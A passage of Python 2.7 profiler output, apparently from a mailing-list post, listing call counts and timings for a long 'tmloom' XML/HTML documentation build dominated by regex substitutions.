0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:6131(unprotectReplacementFunc) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:47(__init__) 8 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/ch_formatRegexp.py:107() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/atexit.py:8() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:59(current_process) 2/1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:285(__del__) 1 0.000 0.000 0.000 0.000 {method 'split' of '_sre.SRE_Pattern' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:220(get_provider) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1081(splithost) 8 0.000 0.000 0.000 0.000 {method '__subclasshook__' of 'object' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1534(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:235(_fileobject) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:301(__init__) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:296(_acquire_restore) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/reporter.py:2() 9 0.000 0.000 0.000 0.000 {method 'tell' of 'cStringIO.StringO' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:387(Counter) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/__future__.py:75(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:85(Message) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:1247(__del__) 1 0.000 0.000 0.000 0.000 {method 'isoformat' of 'datetime.datetime' objects} 1 0.000 0.000 0.179 0.179 /usr/lib/python2.7/urllib2.py:1213(http_open) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:783(close) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:197(Request) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:261(get_host) 2 0.000 0.000 0.002 0.001 /home2/rackdev/tmloom/lib/pretty.py:167(tweakFragmentContainingUrisDict) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:60(ForkingPickler) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/queues.py:56(Queue) 6 0.000 0.000 0.000 0.000 {method 'lstrip' of 'str' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/utf_8.py:33(getregentry) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:73(_init_timeout) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/zipfile.py:501(ZipExtFile) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/StringIO.py:42(StringIO) 1 0.000 0.000 0.002 0.002 /usr/lib/python2.7/urllib2.py:827(AbstractBasicAuthHandler) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/glob.py:18(glob) 4 0.000 0.000 0.000 0.000 {method 'find' of 'unicode' objects} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:80(update) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/tempfile.py:108(_RandomNameSequence) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:293(_release_save) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/checkpubfaqdottopearly.py:2() 1 0.000 0.000 0.000 0.000 {posix.dup} 3 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/hubf.py:13(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/copy_reg.py:14(pickle) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1168(MarkerEvaluation) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:610(FancyURLopener) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/cmd.py:55(Cmd) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/expts3.py:238(TopicScreen) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/SocketServer.py:160(BaseServer) 1 0.000 0.000 0.129 0.129 /usr/lib/python2.7/httplib.py:962(endheaders) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/connection.py:117(Listener) 1 0.000 0.000 34.085 34.085 /home2/rackdev/tmloom/lib/pretty.py:2112(setUpAutolinks) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/repr.py:10(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/repr.py:8(Repr) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1009(_warn_unsafe_extraction_path) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:1008(daemon) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/warnings.py:14(warnpy3k) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:193(_ElementInterface) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:331(HTTPResponse) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1331(NullProvider) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:195(Condition) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:254(get_type) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:727(_set_hostport) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:150(HTTPError) 1 0.000 0.000 0.000 0.000 {math.exp} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1436(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1423(_get) 1 0.000 0.000 0.129 0.129 /usr/lib/python2.7/httplib.py:977(request) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/rules3.py:293(Mill) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/glob.py:94(has_magic) 8 0.000 0.000 0.000 0.000 {method '__subclasses__' of 'type' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1058(unwrap) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:494(_check_close) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:293(add_unredirected_header) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:125(get_supported_platform) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:337(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:20(HMAC) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/utils.py:421(RecursiveFileIterator) 5 0.000 0.000 0.000 0.000 {built-in method fromkeys} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:399(notifyAll) 1 0.000 0.000 0.000 0.000 {posix.sysconf} 2 0.000 0.000 0.000 0.000 {_sqlite3.register_converter} 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:569(isSet) 5 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:63(register) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/dist-packages/pkg_resources.py:2464(DistInfoDistribution) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:31(simplegeneric) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/bdb.py:449(Breakpoint) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/SocketServer.py:358(TCPServer) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:789(_set_ident) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/mimetools.py:20(Message) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:414(WorkingSet) 2 0.000 0.000 0.000 0.000 {sys._getframe} 5 0.000 0.000 0.000 0.000 {thread.get_ident} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2063(EntryPoint) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:948(Value) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/random.py:91(__init__) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:248(get_full_url) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/forking.py:114(Popen) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/zipfile.py:420(_ZipDecrypter) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:466(BaseManager) 1 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/ch_types.py:3() -------------- next part -------------- elapsed time for this tmloom2 111 run: 9:33:14.644190 Wed Aug 31 00:25:59 2016 /tmp/profile 2284685107 function calls (2253726730 primitive calls) in 34378.715 seconds Ordered by: internal time List reduced from 1827 to 1000 due to restriction <1000> ncalls tottime percall cumtime percall filename:lineno(function) 114135765/107557047 30381.346 0.000 30455.266 0.000 {method 'sub' of '_sre.SRE_Pattern' objects} 1252636/2518 1006.892 0.001 1083.188 0.430 /home2/rack/ch_tools/ch_pyRXPU.py:944(_mungeTree) 20662 782.456 0.038 782.456 0.038 {posix.read} 17337 365.029 0.021 365.029 0.021 {posix.fork} 135234 322.483 0.002 322.483 0.002 {method 'close' of 'file' objects} 278635523 308.594 0.000 321.065 0.000 /usr/lib/python2.7/re.py:208(escape) 20685 156.175 0.008 156.175 0.008 {built-in method poll} 117600782 124.684 0.000 165.061 0.000 /usr/lib/python2.7/re.py:230(_compile) 6902869 113.269 0.000 461.437 0.000 /home2/rack/tmloom/lib/irs_ingestinstances.py:3694(getParsedEventFromRastLines) 144372598 88.574 0.000 88.574 0.000 {method 'match' of '_sre.SRE_Pattern' objects} 113447776/106869058 76.300 0.000 30634.269 0.000 /usr/lib/python2.7/re.py:148(sub) 8666 74.267 0.009 987.187 0.114 /home2/rack/tmloom/lib/irs_ingestinstances.py:3268(xmlLinesFromRastLines) 1549092 52.891 0.000 378.149 0.000 {map} 8666 31.270 0.004 39.999 0.005 /home2/rack/tmloom/lib/pretty.py:3726(normalizeSpacesInMappedContent) 210869930 22.788 0.000 22.788 0.000 {method 'group' of '_sre.SRE_Match' objects} 2696744/8666 21.571 0.000 96.406 0.011 /persist/home2/rack/tmloom/lib/utils.py:5148(_prettyXml) 24094779 17.287 0.000 17.287 0.000 {method 'search' of '_sre.SRE_Pattern' objects} 142565341 15.450 0.000 15.450 0.000 {isinstance} 156557828 13.487 0.000 13.487 0.000 {method 'append' of 'list' objects} 8734 13.140 0.002 13.140 0.002 {method 'splitlines' of 'unicode' objects} 212062711/211880031 12.975 0.000 13.013 0.000 {len} 278643854 12.476 0.000 12.476 0.000 {method 'join' of 'unicode' objects} 8666 11.780 0.001 34339.131 3.963 /home2/rack/tmloom/lib/pretty.py:878(htmlMill) 109313 11.638 0.000 11.638 0.000 {open} 4037877 10.296 0.000 10.296 0.000 {method 'groupdict' of '_sre.SRE_Match' objects} 1597852 9.739 0.000 29.938 0.000 /persist/home2/rack/tmloom/lib/utils.py:5411(pcDataProc) 16748765/16748756 9.002 0.000 9.003 0.000 {method 'join' of 'str' objects} 2075601 8.934 0.000 8.934 0.000 {method 'write' of 'file' objects} 9418550/1287783 8.907 0.000 23.073 0.000 /usr/lib/python2.7/copy.py:145(deepcopy) 4231109 8.827 0.000 11.579 0.000 /home2/rack/ch_tools/walshDtd.py:1986(__adjustCasesOfMarkupInXmlString) 2696744 8.224 0.000 27.646 0.000 /persist/home2/rack/tmloom/lib/utils.py:5082(attrString) 4294596 7.511 0.000 10.929 0.000 /persist/home2/rack/tmloom/lib/utils.py:5119(getLastLineLength) 2696744 7.490 0.000 38.593 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1209(_start_list) 7665661 7.301 0.000 8.429 0.000 /usr/lib/python2.7/copy.py:267(_keep_alive) 1277349/29749 7.238 0.000 23.092 0.001 /home2/rack/ch_tools/ch_pyRXPU.py:1344(_tree2Xml) 452313 7.179 0.000 7.179 0.000 {method 'extend' of 'list' objects} 5141677 7.128 0.000 30.303 0.000 /home2/rack/ch_tools/walshDtd.py:1979(_adjustCasesOfMarkupInXmlString) 346627/29564 6.791 0.000 20.006 0.001 /usr/lib/python2.7/sre_parse.py:395(_parse) 17334 6.778 0.000 55.868 0.003 {built-in method Parse} 8666 6.630 0.001 34326.484 3.961 /home2/rack/tmloom/lib/pretty.py:1051(_htmlMill) 18228423 5.836 0.000 5.836 0.000 {method 'replace' of 'unicode' objects} 17336 5.795 0.000 1155.372 0.067 /usr/lib/python2.7/subprocess.py:1199(_execute_child) 39868873 5.553 0.000 5.553 0.000 {method 'lower' of 'unicode' objects} 16240303 5.370 0.000 6.471 0.000 /persist/home2/rack/tmloom/lib/utils.py:493(__call__) 2644218 5.327 0.000 32.973 0.000 /home2/rack/ch_tools/walshDtd.py:2257(_modifyAttValues) 5286545 5.234 0.000 12.867 0.000 /home2/rack/ch_tools/walshDtd.py:2209(__modifyAttValues) 2546 4.856 0.002 4.856 0.002 {method 'parse' of 'pyRXPU.Parser' objects} 5728554 4.839 0.000 4.839 0.000 {method 'encode' of 'str' objects} 7681074 4.737 0.000 5.518 0.000 /usr/lib/python2.7/sre_parse.py:193(__next) 17787462 4.609 0.000 4.609 0.000 {method 'startswith' of 'unicode' objects} 7879074 4.165 0.000 25.768 0.000 /persist/home2/rack/tmloom/lib/utils.py:4835(interpretBackslashes) 905402 3.997 0.000 3.997 0.000 {_codecs.utf_8_decode} 177847 3.960 0.000 9.524 0.000 /home2/rack/ch_tools/ch_urinorm2.py:347(__init__) 2696744 3.941 0.000 6.607 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1109(start) 8646 3.819 0.000 3.819 0.000 {posix.unlink} 7201011 3.510 0.000 3.519 0.000 {method 'encode' of 'unicode' objects} 4231109 3.306 0.000 17.724 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:123(interpretEntityReferences) 687988 3.247 0.000 384.812 0.001 /persist/home2/rack/tmloom/lib/utils.py:489(_make_regex) 177847 3.196 0.000 16.466 0.000 /home2/rack/ch_tools/ch_urinorm2.py:475(unormUri) 513782/21780 3.076 0.000 8.563 0.000 /usr/lib/python2.7/sre_compile.py:64(_compile) 7674249 2.937 0.000 2.937 0.000 {method 'has_key' of 'dict' objects} 220016/42 2.765 0.000 15.645 0.373 /home2/rack/ch_tools/ch_show.py:269(_showdict) 74 2.763 0.037 2.817 0.038 {cPickle.dump} 8790872 2.653 0.000 4.112 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1171(_ordChr) 1297026/1287783 2.639 0.000 19.435 0.000 /usr/lib/python2.7/copy.py:253(_deepcopy_dict) 4902551 2.604 0.000 2.604 0.000 {method 'keys' of 'dict' objects} 1250118/2518 2.484 0.000 19.912 0.008 /home2/rack/ch_tools/ch_pyRXPU.py:971(_enhanceTree) 177847 2.181 0.000 35.252 0.000 /home2/rack/ch_tools/ch_urinorm2.py:712(normUri) 401318/367042 2.143 0.000 8.454 0.000 /home2/rack/ch_tools/ch_show.py:344(_showlist) 9624597 2.006 0.000 2.396 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1190(_fixname) 1875599 1.861 0.000 4.337 0.000 /home2/rack/ch_tools/ch_show.py:99(showWrite) 6216589 1.845 0.000 6.146 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1183(_fixtext) 489542 1.811 0.000 2.974 0.000 /usr/lib/python2.7/sre_compile.py:256(_optimize_charset) 6666006 1.737 0.000 6.494 0.000 /usr/lib/python2.7/sre_parse.py:212(get) 6216589 1.709 0.000 4.301 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:783(_encode) 1 1.706 1.706 1.706 1.706 {posix.system} 8107818 1.666 0.000 1.666 0.000 {setattr} 5393488 1.604 0.000 2.136 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1080(_flush) 87228 1.588 0.000 11.502 0.000 /home2/rack/tmloom/lib/pretty.py:3283(seeProductRETriggerFunc) 1232667/42 1.556 0.000 15.647 0.373 /home2/rack/ch_tools/ch_show.py:132(dispatch) 416001 1.551 0.000 1.551 0.000 {_codecs.utf_8_encode} 2696744 1.533 0.000 3.111 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1125(end) 852428 1.526 0.000 7.513 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1169(byteifyUnicodeString) 18245772 1.512 0.000 1.512 0.000 {method 'get' of 'dict' objects} 1707972 1.456 0.000 2.820 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:55(attrNameCmp) 2696744 1.433 0.000 4.960 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1235(_end) 8660611 1.400 0.000 1.400 0.000 {method 'rfind' of 'str' objects} 4133429 1.398 0.000 7.262 0.000 /usr/lib/python2.7/re.py:192(compile) 9733169 1.391 0.000 1.391 0.000 {method 'pop' of 'list' objects} 4225598 1.385 0.000 5.173 0.000 {method 'sort' of 'list' objects} 3033227 1.360 0.000 1.360 0.000 {range} 10676865 1.337 0.000 1.337 0.000 {method 'upper' of 'unicode' objects} 78541 1.325 0.000 1.325 0.000 {posix.remove} 852428 1.319 0.000 3.695 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1109(unquoteUriString) 40745 1.283 0.000 1.283 0.000 {method 'recv' of '_multiprocessing.Connection' objects} 802247 1.254 0.000 16.895 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1068(normalizeFunnyChars) 21552872 1.158 0.000 1.158 0.000 {id} 641837/163407 1.144 0.000 1.407 0.000 /usr/lib/python2.7/sre_parse.py:151(getwidth) 9 1.115 0.124 31.096 3.455 {cPickle.load} 2518 1.102 0.000 1220.559 0.485 /home2/rack/ch_tools/ch_pyRXPU.py:437(parse) 185333 1.074 0.000 11.484 0.000 /home2/rack/ch_tools/ch_urinorm2.py:980(normPath) 1246892 1.041 0.000 1.513 0.000 /home2/rack/ch_tools/ch_show.py:111(makeAddressStr) 483998 1.032 0.000 1.247 0.000 /persist/home2/rack/tmloom/lib/utils.py:4836(_interpretBackslashes) 3279086 0.986 0.000 1.517 0.000 /usr/lib/python2.7/sre_parse.py:141(__getitem__) 8666 0.978 0.000 98.182 0.011 /persist/home2/rack/tmloom/lib/utils.py:4964(prettyXml) 1597861 0.943 0.000 3.394 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1232(_data) 2707036 0.935 0.000 39.566 0.000 /build/python2.7-M_HuAO/python2.7-2.7.12/Modules/pyexpat.c:566(StartElement) 3296398 0.916 0.000 1.643 0.000 /usr/lib/python2.7/sre_parse.py:206(match) 1472716 0.902 0.000 0.902 0.000 {method 'update' of 'dict' objects} 8878107 0.902 0.000 0.902 0.000 {chr} 4615239 0.893 0.000 0.893 0.000 {method 'endswith' of 'unicode' objects} 8666 0.869 0.000 37.442 0.004 /home2/rack/ch_tools/walshDtd.py:2065(adjustCasesOfMarkupInXmlString) 142326 0.831 0.000 0.831 0.000 {posix.stat} 57549 0.814 0.000 0.814 0.000 {method 'read' of 'file' objects} 8666 0.778 0.000 29989.688 3.461 /home2/rack/tmloom/lib/pretty.py:3922(updateIrsUrls) 4430415 0.776 0.000 0.776 0.000 {method 'endswith' of 'str' objects} 11263046 0.766 0.000 0.766 0.000 {ord} 826798 0.759 0.000 3.240 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:1167(xmlifyDataContent) 852428 0.711 0.000 9.804 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1167(decodeUriString) 2978516 0.711 0.000 0.711 0.000 {repr} 2138094 0.699 0.000 0.699 0.000 /usr/lib/python2.7/sre_parse.py:221(isident) 2111606 0.694 0.000 7.331 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:1156(xmlifyAttributeValue) 2688078 0.693 0.000 0.978 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:319(append) 17336 0.669 0.000 0.669 0.000 {gc.enable} 266478/21780 0.663 0.000 20.081 0.001 /usr/lib/python2.7/sre_parse.py:317(_parse_sub) 489542 0.652 0.000 3.758 0.000 /usr/lib/python2.7/sre_compile.py:228(_compile_charset) 2707036 0.646 0.000 5.633 0.000 /build/python2.7-M_HuAO/python2.7-2.7.12/Modules/pyexpat.c:618(EndElement) 1297027 0.633 0.000 0.633 0.000 {method 'iteritems' of 'dict' objects} 687988 0.618 0.000 399.976 0.001 /persist/home2/rack/tmloom/lib/utils.py:497(xlat) 8666 0.610 0.000 0.610 0.000 {binascii.crc32} 2696744 0.605 0.000 0.605 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:224(__init__) 852402 0.594 0.000 1.579 0.000 {method 'decode' of 'str' objects} 34672 0.591 0.000 783.161 0.023 /usr/lib/python2.7/subprocess.py:473(_eintr_retry_call) 362878 0.568 0.000 1.804 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1041(normFragment) 177847 0.540 0.000 1.994 0.000 /home2/rack/ch_tools/ch_urinorm2.py:939(normIp) 178830 0.527 0.000 1.342 0.000 /usr/lib/python2.7/sre_parse.py:227(isname) 541073 0.510 0.000 3.216 0.000 /home2/rack/tmloom/lib/pretty.py:840(fixHrefAttValues) 2170450 0.508 0.000 0.696 0.000 /usr/lib/python2.7/sre_parse.py:149(append) 8666 0.508 0.000 40.538 0.005 /persist/home2/rack/tmloom/lib/utils.py:5650(sgmlifyEmptyElements) 6353237 0.501 0.000 0.501 0.000 /usr/lib/python2.7/copy.py:198(_deepcopy_atomic) 78013 0.501 0.000 0.501 0.000 {posix.close} 213473 0.465 0.000 0.627 0.000 /usr/lib/python2.7/posixpath.py:61(join) 383045 0.463 0.000 0.660 0.000 /persist/home2/rack/tmloom/lib/utils.py:5660(_sgmlifyEmptyElements2) 356654 0.446 0.000 0.562 0.000 /usr/lib/python2.7/sre_parse.py:268(_escape) 1618385 0.441 0.000 3.849 0.000 /build/python2.7-M_HuAO/python2.7-2.7.12/Modules/pyexpat.c:441(CharacterData) 882555 0.437 0.000 0.437 0.000 {method 'setdefault' of 'dict' objects} 17336 0.420 0.000 1156.700 0.067 /usr/lib/python2.7/subprocess.py:651(__init__) 8666 0.411 0.000 116.858 0.013 /home2/rack/tmloom/lib/pretty.py:3542(autolinkIrsProductInvocations) 2696744 0.407 0.000 0.407 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:353(getchildren) 1597861 0.402 0.000 0.622 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1098(data) 1597852 0.398 0.000 0.531 0.000 /usr/lib/python2.7/string.py:310(join) 65800 0.397 0.000 8.565 0.000 /usr/lib/python2.7/codecs.py:856(open) 2437428 0.387 0.000 0.387 0.000 {method 'find' of 'bytearray' objects} 870644 0.383 0.000 0.995 0.000 /usr/lib/python2.7/encodings/utf_8.py:15(decode) 132270 0.361 0.000 0.665 0.000 /usr/lib/python2.7/sre_parse.py:236(_class_escape) 533541 0.360 0.000 3.986 0.000 /home2/rack/ch_tools/ch_urinorm2.py:332(uriStrip) 802247 0.359 0.000 2.605 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1141(quoteUriString) 355266 0.352 0.000 1.371 0.000 /home2/rack/ch_tools/ch_urinorm2.py:835(normScheme) 589497 0.335 0.000 0.532 0.000 /home2/rack/ch_tools/ch_urinorm2.py:343(getPathSegs) 207540 0.315 0.000 0.607 0.000 /home2/rack/tmloom/lib/pretty.py:252(_tweakIdsOrNamesDict) 1138335 0.314 0.000 0.615 0.000 /usr/lib/python2.7/codecs.py:723(__getattr__) 17336 0.310 0.000 156.911 0.009 /usr/lib/python2.7/subprocess.py:1441(_communicate_with_poll) 71475 0.305 0.000 0.369 0.000 /usr/lib/python2.7/sre_compile.py:411(_mk_bitmap) 1142011 0.302 0.000 0.302 0.000 {getattr} 40743 0.293 0.000 0.761 0.000 /usr/lib/python2.7/multiprocessing/queues.py:99(put) 229117 0.292 0.000 0.568 0.000 /home2/rack/tmloom/lib/pretty.py:869(mungeTXMids) 423555 0.284 0.000 6.574 0.000 /usr/lib/python2.7/codecs.py:365(write) 2054438 0.282 0.000 0.282 0.000 {method 'startswith' of 'str' objects} 43341 0.280 0.000 0.280 0.000 {posix.fdopen} 416979 0.270 0.000 1.488 0.000 /home2/rack/ch_tools/ch_show.py:125(_showString) 242708 0.264 0.000 0.264 0.000 {fcntl.fcntl} 1670748 0.260 0.000 0.260 0.000 {cmp} 1125545 0.245 0.000 0.245 0.000 {min} 177847 0.242 0.000 0.254 0.000 /home2/rack/ch_tools/ch_urinorm2.py:851(normUserinfo) 177847 0.240 0.000 0.257 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1021(normQuery) 371364 0.235 0.000 1.052 0.000 /home2/rack/ch_tools/ch_urinorm2.py:920(normDomain) 177847 0.235 0.000 2.472 0.000 /home2/rack/ch_tools/ch_urinorm2.py:870(normLeftIpBracket) 167019 0.233 0.000 0.420 0.000 /home2/rack/tmloom/lib/pretty.py:313(_tweakIntraTaxMapUrisDict) 177847 0.232 0.000 2.237 0.000 /home2/rack/ch_tools/ch_urinorm2.py:879(_setNormIpBrackets) 355694 0.229 0.000 0.240 0.000 /home2/rack/ch_tools/ch_urinorm2.py:896(normIpv4) 78045 0.227 0.000 1.356 0.000 /home2/rack/tmloom/lib/pretty.py:1794(forceDirectoryToExist) 81185 0.216 0.000 0.308 0.000 /usr/lib/python2.7/posixpath.py:82(split) 177847 0.210 0.000 0.221 0.000 /home2/rack/ch_tools/ch_urinorm2.py:963(normTcpUdpPort) 423555 0.209 0.000 6.784 0.000 /usr/lib/python2.7/codecs.py:704(write) 98622 0.209 0.000 1.019 0.000 /usr/lib/python2.7/genericpath.py:46(isdir) 40745 0.204 0.000 0.391 0.000 /usr/lib/python2.7/threading.py:373(notify) 355694 0.203 0.000 0.213 0.000 /home2/rack/ch_tools/ch_urinorm2.py:908(normIpv6) 65800 0.203 0.000 0.273 0.000 /usr/lib/python2.7/codecs.py:666(__init__) 231030 0.199 0.000 0.251 0.000 /usr/lib/python2.7/sre_parse.py:74(opengroup) 533541 0.188 0.000 0.303 0.000 /home2/rack/ch_tools/ch_urinorm2.py:335() 8666 0.182 0.000 0.233 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1147(__init__) 68 0.179 0.003 0.181 0.003 {method 'read' of '_io.TextIOWrapper' objects} 355694 0.177 0.000 0.343 0.000 /home2/rack/ch_tools/ch_urinorm2.py:680(unormPath) 355694 0.170 0.000 0.213 0.000 /home2/rack/ch_tools/ch_urinorm2.py:631(unormUserinfo) 17336 0.170 0.000 157.411 0.009 /usr/lib/python2.7/subprocess.py:1408(_communicate) 681772 0.167 0.000 0.269 0.000 /usr/lib/python2.7/string.py:222(lower) 29749 0.162 0.000 28.394 0.001 /home2/rack/ch_tools/ch_pyRXPU.py:1210(content) 207540 0.158 0.000 0.765 0.000 /home2/rack/tmloom/lib/pretty.py:223(tweakIdsOrNamesDict) 521477 0.156 0.000 0.156 0.000 /usr/lib/python2.7/sre_parse.py:92(__init__) 126329 0.156 0.000 0.266 0.000 /persist/home2/rack/tmloom/lib/utils.py:5466(_pcDataProc) 43341 0.155 0.000 0.256 0.000 /usr/lib/python2.7/subprocess.py:1220(_close_in_parent) 8666 0.150 0.000 1220.794 0.141 /home2/rack/tmloom/lib/pretty.py:4784(taxmapifyUrls) 62107 0.149 0.000 0.149 0.000 {method 'flush' of 'file' objects} 669795 0.149 0.000 0.189 0.000 /usr/lib/python2.7/sre_parse.py:137(__len__) 8666 0.149 0.000 2.120 0.000 /usr/lib/python2.7/shutil.py:66(copyfile) 40743 0.143 0.000 1.475 0.000 /usr/lib/python2.7/multiprocessing/queues.py:113(get) 7554 0.142 0.000 0.142 0.000 {_codecs.ascii_encode} 96154 0.132 0.000 0.132 0.000 {posix.lstat} 17345 0.131 0.000 3.981 0.000 /usr/lib/python2.7/codecs.py:442(read) 13836 0.129 0.000 0.188 0.000 /usr/lib/python2.7/posixpath.py:329(normpath) 355694 0.127 0.000 0.148 0.000 /home2/rack/ch_tools/ch_urinorm2.py:638(unormLeftIpBracket) 77921 0.124 0.000 0.375 0.000 /home2/rack/tmloom/lib/pretty.py:843(_fixHrefAttValues) 177847 0.123 0.000 0.134 0.000 /home2/rack/ch_tools/ch_urinorm2.py:705(unormFragment) 17340 0.118 0.000 0.118 0.000 {posix.waitpid} 135155 0.117 0.000 0.177 0.000 /usr/lib/python2.7/sre_compile.py:428(_simple) 60682 0.117 0.000 0.117 0.000 {posix.pipe} 423848 0.116 0.000 0.116 0.000 /usr/lib/python2.7/sre_parse.py:224(isdigit) 21780 0.111 0.000 30.540 0.001 /usr/lib/python2.7/sre_compile.py:567(compile) 105/13 0.110 0.001 1.724 0.133 /usr/lib/python2.7/shutil.py:210(rmtree) 17336 0.107 0.000 0.594 0.000 /usr/lib/python2.7/subprocess.py:1108(_get_handles) 121354 0.106 0.000 0.370 0.000 /usr/lib/python2.7/subprocess.py:1160(_set_cloexec_flag) 355694 0.104 0.000 0.124 0.000 /home2/rack/ch_tools/ch_urinorm2.py:652(unormIpv6) 168508 0.103 0.000 0.135 0.000 /usr/lib/python2.7/stat.py:40(S_ISDIR) 167019 0.102 0.000 0.523 0.000 /home2/rack/tmloom/lib/pretty.py:284(tweakIntraTaxMapUrisDict) 17336 0.097 0.000 0.296 0.000 